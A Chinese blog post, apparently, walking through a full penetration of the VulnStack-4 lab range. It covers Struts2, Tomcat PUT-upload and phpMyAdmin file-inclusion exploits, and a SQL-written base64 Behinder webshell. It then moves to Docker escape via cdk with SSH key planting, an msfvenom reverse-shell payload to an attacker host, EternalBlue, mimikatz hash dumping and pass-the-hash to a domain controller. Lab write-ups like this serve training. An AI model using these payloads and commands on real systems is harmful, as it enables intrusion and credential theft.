内网提权教程——VulnStack-4靶场内网横向解析(Struts2,Tomcat,phpmyadmin漏洞利用,Dockers容器逃逸,Socks代理内网,PTH横向)

W1nner丶 Lv2

本次实践围绕内网渗透与漏洞利用展开,综合运用了多种攻防技术与工具。从Web应用层面的Struts2、Tomcat及phpMyAdmin漏洞测试,到容器环境下的Docker逃逸,再到利用Metasploit框架进行内网代理配置、密码哈希提取与端口扫描,最终通过PTH攻击实现域内横向渗透并将目标会话迁移至Cobalt Strike。整个过程覆盖了从边界突破到内网纵深的完整渗透链路,展现了从获取初始权限到掌控域内资源的全流程攻防思路。


前置准备

本次靶场渗透反序列化漏洞、命令执行漏洞、Tomcat漏洞、MS系列漏洞、端口转发漏洞、以及域渗透等多种组合漏洞,希望能对大家有所启发;

靶场机器密码:

  • ubuntu / ubuntu
  • douser / Dotest123
  • administrator / Test2008

网络配置

首先我们需要分别配置三台主机的网络,NAT网段192.168.44.0/24 和内网网段10.10.10.0/24

在这里插入图片描述

(1)Web主机—双网卡:NAT和内网网段
(2)内网Win7主机:内网网段
(3)域控DC:内网网段

  • Web主机地址: 192.168.44.12810.10.10.24
  • 内网Win7: 10.10.10.25
  • 域控DC: 10.10.10.26

同时需要在ubuntu的web机器上,手动开启服务:

首先需要Ctrl+Alt+T 打开一个命令终端,随后切换到相应目录:

在这里插入图片描述

随后进入到相应服务开启即可:

1
2
3
4
5
6
7
8
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d

cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d

cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d

成功启动服务:

在这里插入图片描述

内网的拓扑图结构

内网的拓扑图结构如下:

在这里插入图片描述

至此,可以开始我们的渗透了;


信息收集

首先我们需要知道目标主机具体开放哪些服务以及端口,具体结果如下:

可以使用多种工具gobyxraynamp御剑等;

在这里插入图片描述
在这里插入图片描述

可以看到,目标机器开启了四个服务:

  • 22/tcp - ssh - OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13
  • 2001/tcp - Jetty 9.2.11.v20150529
  • 2002/tcp - Apache Tomcat 8.5.19
  • 2003/tcp - Apache httpd 2.4.25 (Debian) - phpMyAdmin 4.8.1

上述开放的Tomcat 8.xphpmyadmin 4.8.x 都是低版本可以利用的RCE漏洞,而2001端口,通过访问,也是发现其服务为struts2服务:


Struts2漏洞利用

通过访问 http://192.168.44.128:2001/ 结果如下:

在这里插入图片描述

可以看到,该页面是一个上传文件页面。

Struts 2框架是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts 2作为控制器来建立模型与视图的数据交互。常见的漏洞主要有:

  • S2-045(CVE-2017-5638)基于 Jakarta Multipart 解析器的远程代码执行漏洞,影响 Struts 2.3.5–2.3.31、2.5–2.5.10 版本,攻击者可通过构造恶意Content-Type头执行任意代码。
  • S2-048(CVE-2017-9791)
    Struts2 REST 插件的远程代码执行漏洞,影响 2.5.0–2.5.12 版本,攻击者可构造恶意请求触发代码执行。
  • S2-052(CVE-2017-9805)
    Struts2 REST 插件 XStream 反序列化漏洞,影响 2.5.0–2.5.12 版本,可导致远程代码执行。
  • S2-061(CVE-2020-17530)
    OGNL 注入漏洞,影响 Struts 2.3.35 之前、2.5.22 之前版本,攻击者可构造恶意请求执行任意代码。

web目录枚举(失败)

仅仅只有一个文件上传页面不够的,所以我们可以对其进行Web目录扫描

可以看到结果如下:

在这里插入图片描述
或者使用dirsearch

1
2
# 保留常见状态码
python dirsearch.py -u http://192.168.44.128:2001/ -i 200,301,302,401,500

但是并没有什么可利用的信息:

在这里插入图片描述

既然如此,那就换个方法;

冰蝎连接上线Webshell

这里我们通过工具检测发现了可能存在的漏洞:

在这里插入图片描述
尝试执行命令:

在这里插入图片描述
可以看到直接获取了服务器的最高权限root

随后我生成了一个冰蝎的木马,随后上传Webshell

在这里插入图片描述

将其添加到冰蝎,成功上线目标机器:

在这里插入图片描述
在这里插入图片描述

这里我还尝试过哥斯拉以及php,asp等格式文件,均失败;

  • 只有冰蝎的jsp文件才能上传成功;
  • 如果有其他成功的方法,可私信我,欢迎大家讨论分享;

Tomcat 8.5.19 漏洞利用

访问网址http://192.168.44.128:2002/,页面如下:

在这里插入图片描述

而该版本的Tomcat也是存在很多高危漏洞的:

  • CVE-2017-12615(任意文件上传 / 远程代码执行)
    • 风险:当启用 HTTP PUT 方法(如将readonly参数设为false)时,攻击者可上传恶意 JSP 文件并执行任意代码,获取服务器权限。
  • CVE-2020-1938(Ghostcat,AJP 协议文件读取 / 包含)
    • 风险:AJP Connector 默认开启,攻击者可通过构造恶意请求读取任意文件(如/WEB-INF/web.xml)或包含恶意文件,导致信息泄露或代码执行。

核心修复建议:

  • 优先升级版本:直接升级到 Tomcat 8.5.x 的最新稳定版(如 8.5.99+),可覆盖绝大多数已知漏洞。

Web目录枚举(失败)

还是老样子,对其进行扫描:

在这里插入图片描述
同样未发现敏感目录。

Tomcat任意文件上传

这里我们随便抓一个http://192.168.44.128:2002/ 的包,然后对请求包进行修改:

  • 数据包的请求方式修改为PUT
  • 请求的URI修改为/shell2.jsp/
  • 请求头部新增请求头Content-Type:application/x-www-form-urlencoded

在这里插入图片描述
(失败?这里用了我二十分钟,终于找到了原因:)

这里发现后缀为jsp的格式好像是上传不成功,那么我们可以尝试绕过,这里绕过的方式有很多,可以文件流绕过,可以空格绕过,可以”/“绕过,大家可以自己尝试,这里我用”/“绕过

  • 也就是jsp后缀加上’ \ ‘ 即可;

成功:
在这里插入图片描述
在这里插入图片描述

成功上线第二个Webshell:

在这里插入图片描述


phpmyadmin漏洞利用

访问http://192.168.44.128:2003/ ,不需要任何账号密码,直接得到数据库的页面:

在这里插入图片描述

可以看到,phpmyadmin服务的版本为 4.8.1 ,数据库版本为`MySQL 5.5.62版本

  • CVE-2018-12613(远程文件包含):构造index.php?target=db_sql.php%253f/../../../../../../etc/passwd读取敏感文件
  • CVE-2018-12615(SQL 注入):在db_central_columns.php中注入 SQL 语句,如?db=mysql&table=user&column_name=user%27+UNION+SELECT+1,2,3,4,5,6,7,8,9,10–+
  • 弱密码 / 暴力破解:使用 Hydra 等工具爆破登录口,获取后台权限

所以,我们可以通过phpMyAdmin漏洞POC检测该phpMyAdmin框架是否存在相关的漏洞;

随后尝试访问http://192.168.44.128:2003/index.php?target=db_sql.php%253f/../../../../../../etc/passwd,**发现漏洞存在**:

1
/index.php?target=db_sql.php%253f/../../../../../../etc/passwd

在这里插入图片描述

文件包含漏洞获取服务器权限

原理:

  • 我们在数据库SQL模块输入命令后,数据库系统会在后台随机生成一个session文件
  • 而临时session文件名可通过Burp Suite抓取数据包获得;
  • 临时session文件保存在/tmp目录下,所以构造并访问URL进行文件包含漏洞攻击;
  • 所以我们可以通过类似于日志注入的方法来上传Webshell;

比如执行SQL语句时:

在这里插入图片描述

结果如下:

在这里插入图片描述

访问/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_73adf43fa469e01bc73f6d0edccd7702

可以看到确实可以未授权访问

在这里插入图片描述

基于上述原理,我们将Webshell语句写入SQL语句也是一件很容易的事情;

1
2
3
4
select '<?php echo 'echo "<?php eval(base64_decode(冰蝎3 webshell base64内容)); ?>" > /var/www/html/shell3.php';?>';

# 我的payload
select '<?php echo \'echo "<?php eval(base64_decode(PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7Lyror6Xlr4bpkqXkuLrov57mjqXlr4bnoIEzMuS9jW1kNeWAvOeahOWJjTE25L2N77yM6buY6K6k6L+e5o6l5a+G56CBcmViZXlvbmQqL3Nlc3Npb24ucHV0VmFsdWUoInUiLGspO0NpcGhlciBjPUNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7Yy5pbml0KDIsbmV3IFNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCJBRVMiKSk7bmV3IFUodGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmcoYy5kb0ZpbmFsKG5ldyBzdW4ubWlzYy5CQVNFNjREZWNvZGVyKCkuZGVjb2RlQnVmZmVyKHJlcXVlc3QuZ2V0UmVhZGVyKCkucmVhZExpbmUoKSkpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7fSU+)); ?>" > /var/www/html/11113.php\';?>';

结果如下:

在这里插入图片描述

相应的文件为:/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_73adf43fa469e01bc73f6d0edccd7702

它将被写入/var/www/html/shell3.php中;使用冰蝎3 webshell管理工具连接http://192.168.96.21:2003/shell3.php即可连接成功;


Docker服务器逃逸

Struts2服务

这里我们选择struts2服务的冰蝎shell进入,查看当前主机的系统,环境,内核版本等基本信息:

在这里插入图片描述
可以看到当前主机为一台低版本的Ubuntu主机

通过虚拟命令行执行如下命令:

1
find / -name .dockerenv

该命令用于在当前服务器上查找是否存在.dockerenv文件。如果当前服务器上存在.dockerenv文件,则输出.dockerenv文件的绝对路径;

在这里插入图片描述

结果如图,在当前服务器上查找到了.dockerenv文件,这代表我们获得的Tomcat服务器权限是Docker容器权限。

由于Docker容器是与物理机隔离的,所以我们需要进行Docker逃逸。

  • Docker逃逸:是指利用Docker容器可能存在的不安全配置,将获得的Docker容器权限转变为物理机权限;

这里我们在Docker容器内可以通过使用cdk进行不安全配置扫描。cdk是一个开源的Docker容器渗透工具包:

作用:cdk可以检测当前Docker容器内是否存在不安全的配置和漏洞,并可以通过不安全的配置和漏洞进行Docker逃逸;

下载后将工具上传到目标机器:

在这里插入图片描述

1
2
3
4
# 赋权
chmod +x cdk
# 执行
./cdk evaluate --full

结果如下:

在这里插入图片描述

未发现当前Docker容器内存在不安全的配置和漏洞。

Tomcat服务

这里我们选择tomcat服务的冰蝎shell进入,其他步骤同理:

当前Docker容器是以特权模式启动的,所以可以使用mount命令将物理机根目录挂载到Docker容器中的某个目录中:

1
2
3
4
# 赋权
chmod +x cdk
# 执行
./cdk evaluate --full

在这里插入图片描述

1
2
# 挂载目录
./cdk run mount-disk

该命令首先会在Docker容器中的/tmp目录下生成一个cdk_xxxxx文件(xxxxx为随机字母组成),再将物理机的根目录挂载到/tmp/cdk_xxxxx目录下。

在这里插入图片描述

1
2
3
4
# 切换目录
/tmp/ >cd cdk_lrGoO

/tmp/cdk_lrGoO >ls -a

结果如下:

在这里插入图片描述

物理机根目录挂载到/tmp/cdk_lrGoO后,可以通过写计划任务或写SSH密钥的方式获取物理机权限。

写入SSH密钥获取权限

于是我们在kali上生成,直接回车:

在这里插入图片描述

密钥文件已生成在/root/.ssh/目录下;

查看SSH公钥内容:

在这里插入图片描述

回到Tomcat服务器,之前已经将物理机的根目录挂载到/tmp/dk_ceufh目录下,再将SSH公钥内容写入到物理机/root/.ssh/目录下的authorized_keys文件

1
cd /tmp/cdk_lrGoO/root/.ssh/

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
# 创建目录
mkdir -p /tmp/cdk_lrGoO/root/.ssh

# 权限必须为700(仅root可读写执行)
chmod 700 /tmp/cdk_lrGoO/root/.ssh

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDGCWU407UEwvm75WC+Akg6jHkpXx9mj/36uqs5TUBHnEa421gyCnkDnYSru6yneucVcUuQq+vlGJl3S4ST07Fkc9IC4gDuKD+mZsNeGjSJGJ5jhIVpEOKxakHB1VqSGS0PA6Q53pQ5p+lw0vvzwhh0sFIpcgAkoYTHdt88mGylaqaWQ0xDKV4QYArt6qyb4q1MoLzyoCdSb1bzpqRJ1wK3+nSuJM9RVfeHAgwvZhV1lbdFbsNGcE2L6EW8MOpX9e+pzIEUfSubGVSuNlUrwprO5mAuD3l/LoDk23V1MHVgEtmnQfuAwY0WdE2hOUovqclwFDIuD1kqpgoKpnqOsuqa1rE7pML+vyqJ7X3vEgzd+9W7WFhrZgcUWPWp+lX7QwCFJ3WvyA/uOoElBi9arGC+j8Xg5XD6Shpm4+zTRjZJm4vaaL6wkjIe3VhGE564txv+xb34tucOB7L0zui/fZWxzvckt/vsCPEmZEaAeyJ8RdQp6Rz+5h5hfKtJJyTqu7U= root@kali' > /tmp/cdk_lrGoO/root/.ssh/authorized_keys

# 检验
cat /tmp/cdk_lrGoO/root/.ssh/authorized_keys

在这里插入图片描述

之后就可以使用SSH私钥登录物理机了;(复制kali的id_rsa即可)

在这里插入图片描述

可以看到成功登上:

在这里插入图片描述

phpmyadmin服务

这个数据库也是同理,不过由于Web服务器的版本为:Linux 09dd4e5bfa91 4.4.0-142-generic #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UTC 2019 x86_64 GNU/Linux 所以可以使用脏牛内核漏洞来进行提取;

具体步骤可以看这几篇文章(写了很多次),这里就不再演示:


内网横向——配置socks代理

MSF配置代理

这里我们对Web服务器信息搜集后,发现存在两个网段

在这里插入图片描述

所以我们可以使用任何方法来配置socks代理:CS,MSF,stowaway,frp等;

  • 想用Linux打内网,就用MSF,CS等;
  • 想用Windows打内网,就用proxifier

这里我使用MSF,毕竟用得比较多:

1
2
3
4
5
6
7
8
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.44.129 LPORT=5555 -f exe > MSF.exe

# 建立监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.44.129
set lport 5555
run

在这里插入图片描述

随后将生成的payload上传到目标机器,然后执行,即可返回一个会话session:

在这里插入图片描述
在这里插入图片描述

内网信息收集

接下来我们就可以对内网网段是否还有其他主机信息扫描了:

为了探测10.10.10.0/24网段其他主机的信息,需要添加相应的网段路由:

1
2
3
4
5
run autoroute -s 10.10.10.0/24
background
use auxiliary/server/socks_proxy
set SRVPORT 1081
run

在这里插入图片描述

配置好路由之后就可以对内网存活的主机进行探测了:

1
2
3
4
use auxiliary/scanner/discovery/udp_probe
set rhosts 10.10.10.0-255
set threads 5
run

得到结果:

在这里插入图片描述

发现了两台新主机:10.10.10.25和10.10.10.26并且均为Windows主机

proxifier扫描

Windows系统也是一样的:(收集到信息还比MSF更详细一些:域名,主机名等)

在这里插入图片描述

在这里插入图片描述

横向内网PC主机

  • 利用MSF对Windows服务器445端口的SMB服务进行漏洞检测
  • 根据工具对内网存活主机的扫描结果,得知Windows 7主机10.10.10.25开启了445端口,即SMB服务。因此,通过Metasploit尝试对10.10.10.25进行MS17-010漏洞检测:
1
search ms17-010

在这里插入图片描述

这里我们使用exploit/windows/smb/ms17_010_eternal-blue模块进行漏洞测试。

因为10.10.10.25在内部网络中,所以测试模块exploit/windows/smb/ms17_010_eternalblue的payload要选择正向payload,即windows/x64/meterpreter/bind_tcp。

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.25
run

成功返回内网主机的最高权限SYSTEM

在这里插入图片描述

这里我将MSF的会话权限转换到CS,使用的模块为:

mimikatz获取NTLM哈希

我们得到内网主机PC的最高权限后,就可以上传mimikatz 来收集用户的Hash值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. 上传 mimikatz.exe 到目标主机(路径根据你的环境调整)
meterpreter > upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe C:\\Windows\\Temp\\

# 2. 进入目标系统的命令行
meterpreter > shell

# 3. 切换到上传目录并执行 mimikatz
C:\Windows\Temp> mimikatz.exe

# 4. 在 mimikatz 中执行以下命令获取哈希
privilege::debug
token::elevate
lsadump::lsa /inject # 导出域内所有用户哈希
sekurlsa::logonpasswords # 获取当前登录用户的凭证

在这里插入图片描述

此时我们获得了内网PC主机的NTLM Hash值;

使用PTH横向域控

执行命令,运行 exploit/windows/smb/psexec 模块,设置正向 payload,设置测试目标为10.10.10.26:

1
2
3
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhosts 10.10.10.26

输入SMBUser和SMBPass:

在这里插入图片描述

等待PTH攻击过程结束后,成功获取另一台主机域控DC的权限;

总结一下:

  • 在MSF添加了网段10.10.10.0/24的路由后,使用MSF自带的MS17-010模块对10.10.10.25(内网Win7主机) 进行测试并成功获得其会话;
  • 在该服务器上进行域内信息收集,发现10.10.10.26域控DC是域控服务器,它在域内还有另一台主机(Web主机:192.168.44.128、10.10.10.24)。
  • 在域控服务器的MSF session中利用smart_hashdump模块将域内所有用户的密码哈希导出,之后通过PTH攻击获得域内另一台主机;

总结

我们来对这次实践中用到的知识点和操作方法进行重新梳理:

  • Struts2 安全测试:借助 S2-045 高危漏洞对 Struts2 应用发起攻击,从而获取该应用所在服务器的控制权。
  • Tomcat 安全测试:通过 Tomcat 存在的任意文件上传漏洞实施攻击,进而取得 Tomcat 应用服务器的操作权限。
  • phpMyAdmin 安全测试:借助任意文件包含漏洞对 phpMyAdmin 应用进行渗透,成功获取该应用服务器的控制权限。
  • Docker 容器逃逸:针对 Docker 容器的配置缺陷展开利用,实现从容器环境逃逸至内网宿主机,并获取其控制权。
  • MSF 内网代理配置:使用 Metasploit 框架配置内网代理,打通网络边界,为后续渗透操作铺路。
  • Windows 密码哈希提取:借助 MSF 的 smart_hashdump 模块,从内网 Windows 服务器(尤其是域控制器)中导出用户密码哈希值。
  • 内网端口探测:对内网环境中的其他服务器开展端口扫描,识别并定位可作为攻击入口的开放端口。
  • PTH 攻击与 CS 会话迁移:在获取到域内服务器的密码哈希后,通过 Pass-the-Hash(PTH)攻击横向移动,控制其他域内服务器,并将其会话迁移至 Cobalt Strike。

期待下次再见;

  • 标题: 内网提权教程——VulnStack-4靶场内网横向解析(Struts2,Tomcat,phpmyadmin漏洞利用,Dockers容器逃逸,Socks代理内网,PTH横向)
  • 作者: W1nner丶
  • 创建于 : 2026-02-13 18:27:15
  • 更新于 : 2026-06-04 12:37:50
  • 链接: https://tamoon1.github.io/2026/02/13/Internal-network-4/
  • 版权声明: [object Object]
评论